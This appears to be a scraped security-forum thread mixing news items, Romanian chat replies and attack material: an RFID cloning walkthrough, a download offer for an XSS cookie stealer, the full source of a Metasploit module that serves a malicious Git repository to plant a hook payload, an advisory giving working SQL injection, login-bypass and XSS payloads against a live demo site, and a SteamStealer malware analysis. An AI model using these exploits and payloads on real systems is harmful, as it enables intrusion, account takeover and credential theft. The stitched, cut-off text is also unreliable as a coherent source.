Aerosol

1. Introduction Radio Frequency Identification, also known as RFID, is a technology that was created by Léon Theremin in1945 and later patented by Mario Cardullo in 1973. It was first developed by Léon Theremin as a spy device for the Soviet Union government. The device itself could transmit a sound within a radiowave. The device itself was an early example of RFID technology, even though it worked as a passive spy device and not as an ID. RFID is classified as passive, active and semi-passive. Active RFID uses a battery and can operate in a range of about10 m, and passive RFID can operate in a range of about 20 cm. This is an example of a passive RFID card that was used as a public transport ticket. Picture 1. Internals of passive 13.56 MHz Mifare RFID ticket. The picture above is an RFID tag which has had the cover removed using acetone. You could see the internal device consisting of a coil and a tiny integrated circuit. The table below contains a couple of frequently used RFID tags and their frequency: Picture 2. RFID tags and their working frequency. 2. Modulation Most RFID tags were using ASK (Amplitude Shift Keying), FSK (Frequency Shift Keying) and PSK (Phase Shift Keying) for its analog modulation. Picture 3. RFID modulation. For encoding, most of them are using NRZ, Manchester, Unipolar RZ, DBP (Differential Bi-Phase), Miller and Differential Coding on PP Coding. Picture 4. RFID encoding. 3. Problem The main problem with RFID is related to its frequency. Someone with specific tools and enough knowledge on RFID (including complete documentation) could analyze the working frequency of an RFID tag and then decode the data or perform an attack such as cloning the RFID or doing a Denial-of-Service attack. 4. Attack 4.1 Cloning an RFID Tag Before you could clone an RFID tag, first you should know its working frequency. For this demonstration, I will use the EM4xx tag, whose working frequency is 125 kHz. Picture 5. RFID tag that will be cloned. We are sniffing the packet in order to know the data being sent by the RFID tag. First, we should know the working frequency of the target RFID tag using an oscilloscope. This is what the signal looks like between the card and the reader: Picture 6. Using an oscilloscope to get the RFID working frequency. From the picture above, we know that the target RFID tag working frequency is 125 kHz with ASK modulation. Next, we should filter out and separate the carrier and the data. Because the ASK modulation is using amplitude, the filter that we build should also work as an envelope detector. After packets go through the filter, it should look like this: Picture 7. Analog signal data from EM4xx RFID tag. The picture above shows the data signal that has been separated from its carrier signal. We could also see that the signal is still in analog. Next, we should convert that analog signal into digital signal so it could be easy for further processing and analysis. For this to work, we are going to use a comparator and amplifier circuit. When then signal goes through this comparator and amplifier circuit, it will be converted into a digital signal that could be fed into a microcontroller for further processing. That digital signal looks like the picture below: Picture 8. Digital signal data from EM4xx RFID tag. Even if we have converted the analog signal to digital signal, it is still difficult to know when the data was sent, because our oscilloscope didn’t have support for that kind of analysis. We are going to use a logic analyzer for analysis in order to know the pattern of that digital signal. This is what the digital signal captured during that process looks like: Picture 9. Sniffing packets using a logic analyzer. As shown in above picture, data transmission started at 15 ms and ended at 47 ms. From a couple of documentations, we could see that the data above is using manchester encoding. And because the signal came from an EM4xx tag, we can see that the signal begins with nine logic “1?. We could now calculate the start and the end of that signal, but before we continue and build a manchester encoder application to process the data, we should first analyze every byte in the data. Because the logic analyzer doesn’t have a feature for decoding, we should decode it manually as in the picture below: Picture 10. Decoding the packet manually. Header The header consists of nine bit logic with value of “1?. It is quite easy to spot the header because of the consistent bit value. Version Number or Customer ID This part and the next that follows could be easily decoded because we have already found the header part. The version number or customer ID part is right after the header. It consists of 10 bit which is divided into two parts. The first part is 1 high nibble with 1 bit parity and 1 low nibble with 1 bit parity. On this case, we found that the customer ID value is 0x0F. Data Bits or Serial Number Data bits is located right after the customer ID part. This data bits consist of a 32 bit value which is then divided with each 4 bit followed by an even parity bit, so the total size of the data bits is 42 bits. Column Parity Bits and Stop Bit The last part is column parity bits, which consists of 10 lines of data (2 lines of customer ID and 8 lines of data bits) and ends with a stop bit where its value always set to logic “0?. The total size of this part is 5 bits. After successful decoding, we finally build a standalone device (which later is named “Berdikari – Standalone RFID Reader & Emulator”) that could automate the process of reading a tag and then working as an emulator. This device still under development: Picture 11. Using “Berdikari” for reading and as emulator. 4.2 RFID Denial-of-Service This kind of attack is actually just flooding the RFID reader with lots of traffic. This could be accomplished by using a device that works in the same frequency as the RFID reader and transmitting data over and over again (flooding), thus preventing other tags from accessing the RFID reader. This is an illustration of such an attack: Picture 12. RFID Denial-of-Service. 5. Conclusion From the above examples, we could conclude that RFID technology still has some security holes, including data manipulation, that could be exploited by attackers. Source

Just a week ago on Christmas, the massive Distributed Denial of Service (DDoS) attack from the notorious hacking group Lizard Squad knocked Sony’s PlayStation Network and Microsoft’s Xbox Live offline, but as if it wasn't the end of disaster for Microsoft. This time it isn't a case of services being taken down — instead, the software development kit (SDK) for the Xbox Live is being freely circulated over the Internet. Another group calling itself H4LT has apparently managed to leak the Microsoft’s official Xbox One developer SDK, potentially opening the door for homemade applications and allowing unapproved developers to create unofficial software for the system. The group announced the Xbox One leak via its official Twitter account, and also provided some screenshots of the November’s release of the Durango XDK (Xbox Development Kit) files, including the accompanying development tools, device firmware and its documentation. H4LT group states noble reasons for posting the SDK — in order to allow greater "creativity and research... towards homebrew applications" on the console. The group offered the following explanation when interviewed by TechGame via a direct message, that exactly why they decided to leak the XDK: H4LT group kept itself distance from the perpetrators of the recent Xbox Live and PSN outage, which indicates that it has no connection with Lizard Squad. A tweet directed toward Lizard Squad asked "You had fun by taking down servers. Can we have fun for leak-*cough* giving out this?" According to the group, there is no definite exploit at the moment that would allow developers to run homebrew applications on the console, but the group does hope that someone familiar with the inner workings of Windows 8 will be able to dig through the files and find something. At the time, there is not much information about the leaked , but as time passes and further study is conducted on the leaked SDK, more hidden information will be unveiled. Source

A mai fost postat bre https://rstforums.com/forum/94631-microsoft-could-kill-internet-explorer-new-spartan-browser-coming-soon.rst Baga si tu Search inainte. Oricum sunt curios sa vad ce or sa scoata...

Salut totusi de ce toti va puneti in prezentare, ,,am venit sa invat hacking" , cine v-a zis voua ca aici e forum de ,,hacking" ? Pentru toti ca tine e forum de Securitate IT...

@rukov nu pleca frate... cred ca stiu care e motivul si iti zic ca nu se merita.

@odo din cate stiu nu poti sa le decryptezi...

de ce ai face asa ceva? 1. recunosti si iti ceri scuze. 2. depinde daca are dovezi ca tu ai facut acea pagina...

Update: Google’s Project Zero has disclosed the details of an unpatched Windows vulnerability reported to Microsoft in September. The disclosure was made on Monday upon the expiration of 90-day waiting period imposed by Google researchers. Microsoft has yet to patch the Windows 8.1 vulnerability that would allow a hacker to elevate their privileges on an affected computer to gain administrator access. Microsoft’s next set of Patch Tuesday security bulletins are scheduled to be released Jan. 13. “We are working to release a security update to address an elevation of privilege issue,” a Microsoft spokesman told Threatpost. “It is important to note that for a would-be attacker to potentially exploit a system, they would first need to have valid logon credentials and be able to log on locally to a targeted machine.” Google researcher James Forshaw said the NtApphelpCacheControl system call, which allows for quick caching of application data, contains a vulnerability in which a user’s impersonation token is not checked properly to determine if the user is an administrator. “It reads the caller’s impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem’s SID. It doesn’t check the impersonation level of the token so it’s possible to get an identify token on your thread from a local system process and bypass this check,” Forshaw wrote in an advisory on the Google vulnerability database. “For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways.” Forshaw said he wasn’t sure whether Windows 7 was vulnerable to the same bug because of an existing privilege check, but cautioned that it could be bypassed. His proof-of-concept exploit code was tested only on Windows 8.1 update, 32- and 64-bit versions. A request for additional comment from Forshaw was not returned in time for publication. This is not the first such disclosure made by Project Zero. In late November, Forshaw disclosed an Adobe Acrobat and Reader 11 sandbox escape on Windows systems. The bug was reported to Adobe on Aug 27 and publicly disclosed by Google on Nov. 26 after the passing of its 90-day deadline. Adobe patched the vulnerability nine days after its public disclosure. The research team’s disclosure policy has been public since Project Zero was announced in July. “On balance, Project Zero believes that disclosure deadlines are currently the optimal approach for user security—it allows software vendors a fair and reasonable length of time to exercise their vulnerability management process, while also respecting the rights of users to learn and understand the risks they face,” said Google researcher Ben Hawkes. “By removing the ability of a vendor to withhold the details of security issues indefinitely, we give users the opportunity to react to vulnerabilities in a timely manner, and to exercise their power as a customer to request an expedited vendor response.” Source

More than 78 per cent of all PHP installations are running with at least one known security vulnerability, a researcher has found. Google developer advocate Anthony Ferrara reached this unpleasant conclusion by correlating statistics from web survey site W3Techs with lists of known vulnerabilities in various versions of PHP. What he found is that many, many PHP-powered websites are using insecure versions of the interpreter – so much so that it's actually easier to find an insecure PHP setup on the internet than a secure one. "This is absolutely and unequivocally pathetic," Ferrara wrote. The two most popular PHP releases, according to W3Techs' statistics, were versions 5.2.17 and 5.3.29. Together, they accounted for 24 per cent of the total – and both are insecure. More to the point, Ferrara found that for each major version of PHP from 5.3 through 5.6, only a small number of minor versions are not known to contain any vulnerabilities, but most systems aren't running those secure versions. In Ferrara's findings, 93.3 per cent of all PHP 5.6.x installs were insecure, 63.4 per cent of PHP 5.5.x installs were insecure, 89.6 per cent of PHP 5.4.x installs were insecure, and 66.1 per cent of PHP 5.3.x installs were insecure. As for PHP 5.2, just write it off. No versions of that branch are considered secure. Curiously, however, PHP 5.1 actually fared rather well. Fully 94.8 per cent of all PHP 5.1 installations were running a secure version, according to W3Techs' numbers. But never mind that – PHP 5.1 is nine years old, and only 1.2 per cent of the sites surveyed were still running it. This isn't to say, of course, that none of the other software packages that power the internet contain vulnerabilities. Ferrara found that, similarly, 38 per cent of sites running the Apache web server were insecure, as were 36 per cent of sites running Nginx, 22 per cent of sites running Python, and 18 per cent of sites running Perl. But PHP's astonishingly bad security record really took the cake in Ferrara's study. Add to that the applications that run on top of PHP – 55 per cent of Drupal installs had their own security bugs, as did 40 per cent of Wordpress installs – and you could almost say that any server running the language is just an exploit waiting to happen. Unless, of course, you happen to be one of those happy few who are running an airtight version. The latest releases of PHP 5.4, 5.5, and 5.6 are all thought to be secure. "Check your installed versions," Ferrara urged. "Push for people to update. Don't accept 'if it works, don't fix it.' ... You have the power to change this, so change it. Security is everyone's problem. What matters is how you deal with it." Source

Google has made public the details of a security vulnerability in Windows 8.1 a mere 90 days after disclosing it to Microsoft, sparking debate over the wisdom of the online giant's Project Zero security initiative. The bug, which was privately reported to Microsoft in September, can potentially allow a logged-in user to execute code on Windows 8.1 machines with administrator privileges. The flaw lies in the handling of the NtApphelpCacheControl() system call, and it is a super obscure bug: a program must first obtain an access token from a system-level process, such as BITS, and then call the aforementioned function to insert an entry into the application compatibility cache – an operation only admin-level code should be able to do. When the access token is examined, the program's impersonation level is not checked, allowing the user-level software to masquerade as a privileged program and modify the cache. A carefully crafted cache entry can lead to Windows running an arbitrary executable with elevated privileges. "This bug is subject to a 90 day disclosure deadline," Google's security team noted when it told Microsoft of the programming blunder. "If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public." That deadline has now passed, and the full details of the bug were revealed on December 30 – including working proof-of-concept code, which the Chocolate Factory has made available in both source code and executable binary form. But not everyone agrees with the aggressive disclosure policy of Google's Project Zero, which was founded in July 2014 with the goal of rooting out bugs in widely used software. "Automatically disclosing this vulnerability when a deadline is reached with absolutely zero context strikes me as incredibly irresponsible and I'd have expected a greater degree of care and maturity from a company like Google," wrote one commenter on the bug report. Others pointed out, however, that just because a bug hasn't been publicly disclosed doesn't mean hackers aren't already exploiting it. "No one is done any good by keeping it secret," wrote another commenter. "By exposing the vuln they allow those billions who may be running vulnerable systems to be aware of the threat to their own security and take countermeasures." Google security researcher Ben Hawkes defended the policy of auto-disclosure, writing: Project Zero believes that disclosure deadlines are currently the optimal approach for user security – it allows software vendors a fair and reasonable length of time to exercise their vulnerability management process, while also respecting the rights of users to learn and understand the risks they face. With that said, we're going to be monitoring the effects of this policy very closely ... We're happy to say that initial results have shown that the majority of the bugs that we have reported ... get fixed under deadline, which is a testament to the hard work of the vendors. In response to the disclosure, Microsoft issued a statement to the effect that it is aware of the problem and is preparing a fix. "We are working to release a security update to address an Elevation of Privilege issue," a Microsoft spokesperson told El Reg via email. "It is important to note that for a would-be attacker to potentially exploit a system, they would first need to have valid logon credentials and be able to log on locally to a targeted machine. We encourage customers to keep their anti-virus software up to date, install all available Security Updates and enable the firewall on their computer." The software giant did not say whether it planned to have a fix for the issue ready by this month's Patch Tuesday, which lands on January 13. Source

Cookie Manager is a cookie stealer for XSS to find and mint cookies using PHP DOWNLOAD HERE

Complete comprehensive archive of all 1,915 exploits added to Packet Storm in 2014. HERE

This archive contains all of the 181 exploits added to Packet Storm in December, 2014. HERE

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Powershell def initialize(info = {}) super(update_info( info, 'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390', 'Description' => %q( This module exploits CVE-2014-9390, which affects Git (versions less than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions less than 3.2.3) and describes three vulnerabilities. On operating systems which have case-insensitive file systems, like Windows and OS X, Git clients can be convinced to retrieve and overwrite sensitive configuration files in the .git directory which can allow arbitrary code execution if a vulnerable client can be convinced to perform certain actions (for example, a checkout) against a malicious Git repository. A second vulnerability with similar characteristics also exists in both Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where certain Unicode codepoints are ignorable. The third vulnerability with similar characteristics only affects Mercurial clients on Windows, where Windows "short names" (MS-DOS-compatible 8.3 format) are supported. Today this module only truly supports the first vulnerability (Git clients on case-insensitive file systems) but has the functionality to support the remaining two with a little work. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module ], 'References' => [ ['CVE', '2014-9390'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'], ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'], ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'], ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'], ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'], ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'], ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'], ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a'] ], 'DisclosureDate' => 'Dec 18 2014', 'Targets' => [ [ 'Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic bash-tcp perl bash' } } } ], [ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ARCH_X86, ARCH_X86_64] } ] ], 'DefaultTarget' => 0)) register_options( [ OptBool.new('GIT', [true, 'Exploit Git clients', true]) ] ) register_advanced_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']), OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']), OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']), OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false]) ] ) end def setup # the exploit requires that we act enough like a real Mercurial HTTP instance, # so we keep a mapping of all of the files and the corresponding data we'll # send back along with a trigger file that signifies that the git/mercurial # client has fetched the malicious content. @repo_data = { git: { files: {}, trigger: nil }, mercurial: { files: {}, trigger: nil } } unless datastore['GIT'] || datastore['MERCURIAL'] fail_with(Exploit::Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL') end setup_git setup_mercurial super end def setup_git return unless datastore['GIT'] # URI must start with a / unless git_uri && git_uri =~ /^\// fail_with(Exploit::Failure::BadConfig, 'GIT_URI must start with a /') end # sanity check the malicious hook: if datastore['GIT_HOOK'].blank? fail_with(Exploit::Failure::BadConfig, 'GIT_HOOK must not be blank') end # In .git/hooks/ directory, specially named files are shell scripts that # are executed when particular events occur. For example, if # .git/hooks/post-checkout was an executable shell script, a git client # would execute that file every time anything is checked out. There are # various other files that can be used to achieve similar goals but related # to committing, updating, etc. # # This vulnerability allows a specially crafted file to bypass Git's # blacklist and overwrite the sensitive .git/hooks/ files which can allow # arbitrary code execution if a vulnerable Git client can be convinced to # interact with a malicious Git repository. # # This builds a fake git repository using the knowledge from: # # http://schacon.github.io/gitbook/7_how_git_stores_objects.html # http://schacon.github.io/gitbook/7_browsing_git_objects.html case target.name when 'Automatic' full_cmd = "#!/bin/sh\n#{payload.encoded}\n" when 'Windows Powershell' psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: true) full_cmd = "#!/bin/sh\n#{psh}" end sha1, content = build_object('blob', full_cmd) trigger = "/objects/#{get_path(sha1)}" @repo_data[:git][:trigger] = trigger @repo_data[:git][:files][trigger] = content # build tree that points to the blob sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build a tree that points to the hooks directory in which the hook lives, called hooks sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build a tree that points to the partially uppercased .git directory in # which hooks live variants = [] %w(g G). each do |g| %w(i I).each do |i| %w(t T).each do |t| git = g + i + t variants << git unless git.chars.none? { |c| c == c.upcase } end end end git_dir = '.' + variants.sample sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build the supposed commit that dropped this file, which has a random user/company email = Rex::Text.rand_mail_address first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten full_name = "#{first.capitalize} #{last.capitalize}" tstamp = Time.now.to_i author_time = rand(tstamp) commit_time = rand(author_time) tz_off = rand(10) commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \ "\n" \ "Initial commit to open git repository for #{company}!\n" if datastore['VERBOSE'] vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:") commit.each_line { |l| vprint_status(l.strip) } end sha1, content = build_object('commit', "tree #{sha1}\n#{commit}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content # build HEAD @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" # lastly, build refs @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end def setup_mercurial return unless datastore['MERCURIAL'] # URI must start with a / unless mercurial_uri && mercurial_uri =~ /^\// fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_URI must start with a /') end # sanity check the malicious hook if datastore['MERCURIAL_HOOK'].blank? fail_with(Exploit::Failure::BadConfig, 'MERCURIAL_HOOK must not be blank') end # we fake the Mercurial HTTP protocol such that we are compliant as possible but # also as simple as possible so that we don't have to support all of the protocol # complexities. Taken from: # http://mercurial.selenic.com/wiki/HttpCommandProtocol # http://selenic.com/hg/file/tip/mercurial/wireproto.py @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN' fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814' @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n" # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo") # TODO: finish building the fake repository end # Build's a Git object def build_object(type, content) # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html header = "#{type} #{content.size}\0" store = header + content [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)] end # Returns the Git object path name that a file with the provided SHA1 will reside in def get_path(sha1) sha1[0...2] + '/' + sha1[2..40] end def exploit super end def primer # add the git and mercurial URIs as necessary if datastore['GIT'] hardcoded_uripath(git_uri) print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}") end if datastore['MERCURIAL'] hardcoded_uripath(mercurial_uri) print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}") end end # handles routing any request to the mock git, mercurial or simple HTML as necessary def on_request_uri(cli, req) # if the URI is one of our repositories and the user-agent is that of git/mercurial # send back the appropriate data, otherwise just show the HTML version if (user_agent = req.headers['User-Agent']) if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri) do_git(cli, req) return elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri) do_mercurial(cli, req) return end end do_html(cli, req) end # simulates a Git HTTP server def do_git(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) if req_file == @repo_data[:git][:trigger] vprint_status("Trigger!") # Do we need this? If so, how can I update the payload which is in a file which # has already been built? # regenerate_payload handler(cli) end else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # simulates an HTTP server with simple HTML content that lists the fake # repositories available for cloning def do_html(cli, _req) resp = create_response resp.body = <<HTML <html> <head><title>Public Repositories</title></head> <body> <p>Here are our public repositories:</p> <ul> HTML if datastore['GIT'] this_git_uri = URI.parse(get_uri).merge(git_uri) resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>" else resp.body << "<li><a>Git</a> (currently offline)</li>" end if datastore['MERCURIAL'] this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri) resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>" else resp.body << "<li><a>Mercurial</a> (currently offline)</li>" end resp.body << <<HTML </ul> </body> </html> HTML cli.send_response(resp) end # simulates a Mercurial HTTP server def do_mercurial(cli, req) # determine if the requested file is something we know how to serve from our # fake repository and send it if so uri = URI.parse(req.uri) req_path = uri.path req_path += "?#{uri.query}" if uri.query req_path.gsub!(/^#{mercurial_uri}/, '') if @repo_data[:mercurial][:files].key?(req_path) vprint_status("Sending Mercurial #{req_path}") send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1') if req_path == @repo_data[:mercurial][:trigger] vprint_status("Trigger!") # Do we need this? If so, how can I update the payload which is in a file which # has already been built? # regenerate_payload handler(cli) end else vprint_status("Mercurial #{req_path} doesn't exist") send_not_found(cli) end end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI def mercurial_uri return @mercurial_uri = datastore['MERCURIAL_URI'] end end end Source

################################################################################################## #Exploit Title : PHP Address Book SQL Injection and xss vulnerability #Author : Manish Kishan Tanwar #Home page Link : http://sourceforge.net/projects/php-addressbook/ #Date : 01/01/2015 #Discovered at : IndiShell Lab #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti,Kishan Singh and ritu rathi #email : manish.1046@gmail.com ################################################################################################## //////////////////////// /// Overview: //////////////////////// php address book is web-based address & phone book, contact manager, organizer. Groups, addresses, e-Mails, phone numbers & birthdays. vCards, LDIF, Excel, iPhone, Gmail & Google-Maps supported. PHP / MySQL based. /////////////////////////////// // Vulnerability Description: /////////////////////////////// 1. SQL injection 2. Authentication bypass 3. XSS 1.SQL injection vulnerability:- ============================== after login(using normal user account) attacker can exploit this issue. parameter id is not escaping before passing to SQL query on view.php vulnerable code is ------------------- if ($id) { $sql = "SELECT * FROM $base_from_where AND $table.id='$id'"; $result = mysql_query($sql, $db); $r = mysql_fetch_array($result); $resultsnumber = mysql_numrows($result); } -------------------- POC http://php-addressbook.sourceforge.net/demo/view.php?id=1337' union select 1,2,3,4,version(),6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--+ image link:- http://oi62.tinypic.com/2lncw3a.jpg 2.Authntication Bypass:- ======================= checklogin.php page is passing user supplied data in username field to sql query without escaping and it is causing authentication bypassing using payload username = ' or 1336%2B1=1337--%20 password = any -------------------------------------------------------- $urlun = strip_tags(substr($_REQUEST['username'],0,32)); $urlpw = strip_tags(substr($_REQUEST['password'],0,32)); $cleanpw = md5($urlpw); $sql="SELECT * FROM users WHERE username='$urlun' and password='$cleanpw'"; -------------------------------------------------------- 3.XSS:- ====== http://php-addressbook.sourceforge.net/demo/ ?group=customer</option></select><script>alert(String.fromCharCode(120,115,115,32,116,101,115,116));</script> image link:- http://oi59.tinypic.com/dhbyh4.jpg //////////////// /// POC //// /////////////// POC image=http://oi57.tinypic.com/inv3ol.jpg payload for extracting database name set value of category parameter to 1 and add error based SQL injection payload to url http://127.0.0.1/pr/browse.php?category=1 and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA, #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3 Source

Salut si bine ai venit!

@Rickets faza cu ban-ul nu donezi pentru a fi cineva (daca ai gresit e normal sa ,,platesti"), donezi pentru a ajuta forumul, din moment ce tu vi pe RST doar cand ai probleme ( aici e o generalizare) si vrei sa primesti ajutor dar nu contribui cu nimic la comunitate... Donatiile se fac doar la ADMINISTRATORI nu la Moderatori, si daca e sa doneze cineva doneaza pentru a ajuta forumul.

si i-a arestat pe 2 membrii

@black_death_c4t la multi ani Gogoa?ã!!! si sa ne traiesti.

Noroc, ce lunga prezentare bre )

I've been wanting to take a little bit of a look at the recent SteamStealer malware going around throughout November and December. There's a few different types, mainly being .src executables that once executed connect to a designated domain and drop more stuff. The other more recent type uses a custom crypter with a library containing a RunPE function to inevitably load SteamStealer into the process. In any case, I won't be doing any "on the surface" analysis/removal tips, as it's been nicely done by blogs such as this. I'll instead be taking a look at the source code for a few of these .src files, and talking a bit about them as well. So first off, the big thing regarding a lot of these recent .src files is they are obfuscated with Confuser, or its successor known as ConfuserEx. Confuser is a pretty popular free obfuscator mainly because it's one that isn't completely easy to reverse. It's still reversible, just not as easy as many other free obfuscators out there. You can do it with WinDbg which is absolutely gruesome and not really recommended for .NET deobfuscation, as anything really past methods is difficult and time consuming. Alternatively, you can use the wonderful internet world we have to get any slew of tools to decrypt methods, delegate killer, dump, and string decrypt. Let's first take a look at what the thumbnails for the samples look like: As we can see, the thumbnails appear as a Steam inventory with various items. Back to obfuscation, if we try to take one of our .src samples obfuscated with Confuser into IDA, here's what we get: After deobfuscation however, we can successfully take a somewhat broken look at the source code. Near the top of the code you can generally find the following (and hilarious) format: newobj instance void SteamWorker::.ctor() stloc.0 ldloc.0 ldstr "7656119816xxxxxxx" // Steam ID ldstr "203496355" ldstr "N71Ll_bP" All of the Steam ID's extracted from various source code samples are all 8 or 9 (mostly 9) digit ID's, implying they're new and not old accounts by any means. With this said, these accounts were of course created for the sole purpose of spamming trades with this malware, and most likely selling valuable items for real money. I wouldn't be surprised if they were purchased or stolen ID's. callvirt instance void SteamWorker::getSessionID() ldloc.0 ldstr "csgolounge" ldstr "how much is this karambit knife? hxxp://screen4say.com/image.png" callvirt instance void SteamWorker::SpamGroup(string, string) ldloc.0 ldstr "dota2lounge" ldstr "how much is this unusual courier? hxxp://screen4say.com/image.png" callvirt instance void SteamWorker::AddGroupAndMess(string, string) ldloc.0 callvirt instance void SteamWorker::getFriends() ldloc.0 ldstr "He give me this knife hxxp://screen4say.com/image.png ty for you :)" callvirt instance void SteamWorker::sendMessWall(string) ldloc.0 callvirt instance void SteamWorker::DeleteAll() Above is an example of one of the many domains used in the malware (purged). You can see it would join the Steam group "csgolounge" and then message users "how much is this karambit knife?" with a link to the malware. This is how it mainly propagated, by joining various Steam trade groups and spamming anyone with public inventories. Mainly "csgolounge" and "dota2lounge" as those were the main games used for the malware. Domains used from what I've seen are: prntsrc-online, screen4free, hostingscreen, screenshotyou, etc. If we do a lookup on any one of those: Domain name: prntsrc-online.com Domain idn name: prntsrc-online.com Status: clientTransferProhibited Registry Domain ID: Registrar WHOIS Server: whois.reg.ru Registrar URL: https://www.reg.com/ Registrar URL: https://www.reg.ru/ Registrar URL: https://www.reg.ua/ Updated Date: 2014-12-15 Creation Date: 2014-12-15T19:18:01Z Registrar Registration Expiration Date: 2015-12-15 Registrar: Domain names registrar REG.RU LLC Registrar IANA ID: 1606 Registrar Abuse Contact Email: Email Masking Image@reg.ru Registrar Abuse Contact Phone: +7.4955801111 Registry Registrant ID: Registrant Name: Ivan Ivanov Registrant Organization: Yandex LTD Registrant Street: ul.Koshkina 15 kv 4 Registrant City: Moscow Registrant State/Province: MOSCOW STATE Registrant Postal Code: 132170 Registrant Country: 